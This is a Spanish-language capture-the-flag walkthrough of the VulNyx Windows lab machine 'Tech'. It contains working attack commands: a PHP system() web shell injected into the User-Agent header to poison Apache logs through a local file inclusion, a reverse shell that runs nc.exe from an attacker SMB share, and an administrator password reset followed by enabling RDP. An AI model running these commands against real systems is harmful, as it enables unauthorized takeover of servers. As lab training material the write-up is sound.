VulNyx - Tech
Information
Tech es una máquina virtual vulnerable Windows de dificultad media de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en el hipervisor VirtualBox.

Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.67
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 15:43 +0200
Nmap scan report for 192.168.1.67
Host is up (0.0010s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
root@kali:~ ❯ nmap -sVC -p80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 192.168.1.67
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 15:44 +0200
Nmap scan report for 192.168.1.67
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Techro - Flat Free Responsive bootstrap template
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:22:87:05 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: 8h59m58s
| smb2-time:
| date: 2026-06-02T22:44:54
|_ start_date: N/A
|_nbstat: NetBIOS name: TECH, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:22:87:05 (Oracle VirtualBox virtual NIC)
Shell (nt authority\system)
445/TCP (SMB)
Basic Enumeration
root@kali:~ ❯ netexec smb 192.168.1.67
SMB 192.168.1.67 445 TECH [*] Windows 10 / Server 2019 Build 17763 x64 (name:TECH) (domain:TECH) (signing:False) (SMBv1:None)
Shares
Null Session
root@kali:~ ❯ smbclient -NL //192.168.1.67
session setup failed: NT_STATUS_ACCESS_DENIED
root@kali:~ ❯ smbmap --no-banner -H 192.168.1.67 -u '' -p ''
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Something weird happened on (192.168.1.67) Error occurs while reading from remote(104) on line 1015
[*] Closed 1 connections
root@kali:~ ❯ netexec smb 192.168.1.67 -u '' -p '' --shares
SMB 192.168.1.67 445 TECH [*] Windows 10 / Server 2019 Build 17763 x64 (name:TECH) (domain:TECH) (signing:False) (SMBv1:None)
SMB 192.168.1.67 445 TECH [-] TECH\: STATUS_ACCESS_DENIED
SMB 192.168.1.67 445 TECH [-] Error enumerating shares: Error occurs while reading from remote(104)
RPC
Null Session
root@kali:~ ❯ rpcclient -NU "" 192.168.1.67 -c "srvinfo"
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
80/TCP (HTTP)
Stack
root@kali:~ ❯ curl -I "http://192.168.1.67/"
HTTP/1.1 200 OK
Date: Tue, 02 Jun 2026 23:00:51 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Sun, 24 May 2026 17:00:12 GMT
ETag: "3e6b-652933202222e"
Accept-Ranges: bytes
Content-Length: 15979
Content-Type: text/html
Site

En la navbar, page.php carga diferentes páginas a través de un parámetro.

Local File Inclusion (LFI)
Mediante el LFI es posible leer el archivo c:\windows\system32\drivers\etc\hosts.
root@kali:~ ❯ curl -sX GET "http://192.168.1.67/page.php?i=c:\windows\system32\drivers\etc\hosts"
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
En el escaneo posterior realizado con nmap, las cabeceras indican la presencia de Apache y PHP. Aunque no puede afirmarse con certeza, estos indicios sugieren que el sistema podría estar utilizando un entorno XAMPP.
Buscando en Internet, encontré este artículo, que me resultó útil para comprender la estructura de directorios de XAMPP.

Leo el archivo de configuración de Apache (httpd.conf) y, entre muchas otras cosas, identifico la ruta de los archivos de log.
root@kali:~ ❯ curl -sX GET "http://192.168.1.67/page.php?i=c:\xampp\apache\conf\httpd.conf" | grep -E "CustomLog|ErrorLog"
ErrorLog "logs/techro-events/error.log"
CustomLog "logs/techro-events/access.log" combined
Log Poisoning
Apunto desde el LFI al archivo log (logs/techro-events/access.log) y puedo leer su contenido.
root@kali:~ ❯ curl -sX GET "http://192.168.1.67/page.php?i=c:\xampp\apache\logs\techro-events\access.log"
192.168.1.5 - - [02/Jun/2026:15:44:06 -0700] "GET / HTTP/1.0" 200 15979 "-" "-"
192.168.1.5 - - [02/Jun/2026:15:44:54 -0700] "GET /nmaplowercheck1780407895 HTTP/1.1" 404 298 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.5 - - [02/Jun/2026:15:44:54 -0700] "POST /sdk HTTP/1.1" 404 298 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.5 - - [02/Jun/2026:15:44:54 -0700] "GET / HTTP/1.1" 200 15979 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.5 - - [02/Jun/2026:15:44:54 -0700] "OPTIONS / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
Se inyecta código PHP en las cabeceras con el objetivo de verificar si el servidor lo interpreta posteriormente.
root@kali:~ ❯ curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.67"
Consigo ejecutar comandos como el usuario nt authority\system.
root@kali:~ ❯ curl -sX GET "http://192.168.1.67/page.php?i=c:\xampp\apache\logs\techro-events\access.log&cmd=whoami"
192.168.1.5 - - [02/Jun/2026:16:40:52 -0700] "GET / HTTP/1.1" 200 15979 "-" "nt authority\system"
Ya ejecutando comandos trato de obtener una reverse shell.
root@kali:~ ❯ locate nc.exe
/usr/share/windows-resources/binaries/nc.exe
root@kali:~ ❯ cp /usr/share/windows-resources/binaries/nc.exe .
root@kali:~ ❯ impacket-smbserver a . -smb2support
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
root@kali:~ ❯ curl -sX GET "http://192.168.1.67/page.php?i=c:\xampp\apache\logs\techro-events\access.log&cmd=\\\\192.168.1.5\\a\\nc.exe+192.168.1.5+443+-e+cmd.exe"
Obtengo la shell como usuario nt authority\system.
root@kali:~ ❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.67] 49672
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami & hostname
nt authority\system
TECH
Flags
Al intentar leer las flags, detecto que no se encuentran en ningún sitio.
c:\>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
Volume in drive C has no label.
Volume Serial Number is E806-A716
Directory of c:\users\administrator\desktop
05/24/2026 12:56 PM <DIR> .
05/24/2026 12:56 PM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 42,738,757,632 bytes free
History Files
Revisanso el history de PowerShell, se puede observar que las flags han sido eliminadas.
c:\>dir C:\Users\ConsoleHost_history.txt /s /a
Volume in drive C has no label.
Volume Serial Number is E806-A716
Directory of C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
05/24/2026 12:57 PM 142 ConsoleHost_history.txt
1 File(s) 142 bytes
Total Files Listed:
1 File(s) 142 bytes
0 Dir(s) 42,738,757,632 bytes free
c:\>type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig
Remove-Item "C:\Users\Administrator\Desktop\user.txt" -Force
Remove-Item "C:\Users\Administrator\Desktop\root.txt" -Force
Si las flags han sido eliminadas, es posible que se encuentren en la Papelera.
3389/TCP (RDP)
Para acceder a la Papelera, haré uso de RDP, pero actualmente el puerto se encuentra cerrado.
root@kali:~ ❯ nmap -sS -p3389 192.168.1.67
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 17:10 +0200
Nmap scan report for 192.168.1.67
Host is up (0.00030s latency).
PORT STATE SERVICE
3389/tcp closed ms-wbt-server
Como tengo una shell con el usuario nt authority\system, puedo cambiar el password del usuario administrator. Esto me permitirá habilitar RDP y acceder al sistema de forma remota.
Cambio exitosamente el password al usuario administrator.
c:\>net user administrator Password1
The command completed successfully.
Enable
Verifico el nuevo password y, con el módulo de netexec, habilito el servicio RDP.
root@kali:~ ❯ netexec smb 192.168.1.67 -u 'administrator' -p 'Password1'
SMB 192.168.1.67 445 TECH [*] Windows 10 / Server 2019 Build 17763 x64 (name:TECH) (domain:TECH) (signing:False) (SMBv1:None)
SMB 192.168.1.67 445 TECH [+] TECH\administrator:Password1 (Pwn3d!)
root@kali:~ ❯ netexec smb 192.168.1.67 -u 'administrator' -p 'Password1' -M rdp -o action=enable
SMB 192.168.1.67 445 TECH [*] Windows 10 / Server 2019 Build 17763 x64 (name:TECH) (domain:TECH) (signing:False) (SMBv1:None)
SMB 192.168.1.67 445 TECH [+] TECH\administrator:Password1 (Pwn3d!)
RDP 192.168.1.67 445 TECH [+] Enable RDP via WMI(ncacn_ip_tcp) successfully
RDP 192.168.1.67 445 TECH [+] RDP Port: 3389
root@kali:~ ❯ nmap -sS -p3389 192.168.1.67
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 17:18 +0200
Nmap scan report for 192.168.1.67
Host is up (0.00032s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Connect
Accedo mediante Escritorio remoto y, efectivamente, las flags se encuentran en la Papelera de reciclaje.
root@kali:~ ❯ xfreerdp /v:192.168.1.67 /u:administrator /p:Password1 /cert:ignore +clipboard /dynamic-resolution


Recupero las flags eliminadas y consigo leer ambas.


C:\>cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is E806-A716
Directory of c:\Users\Administrator\Desktop
06/02/2026 05:37 PM <DIR> .
06/02/2026 05:37 PM <DIR> ..
05/24/2026 12:12 PM 70 root.txt
05/24/2026 12:12 PM 70 user.txt
2 File(s) 140 bytes
2 Dir(s) 42,708,434,944 bytes free
c:\Users\Administrator\Desktop>type *
c08*****************************
db7*****************************
Hasta aquí la resolución de la máquina Tech de VulNyx.
Happy Hacking! 🙂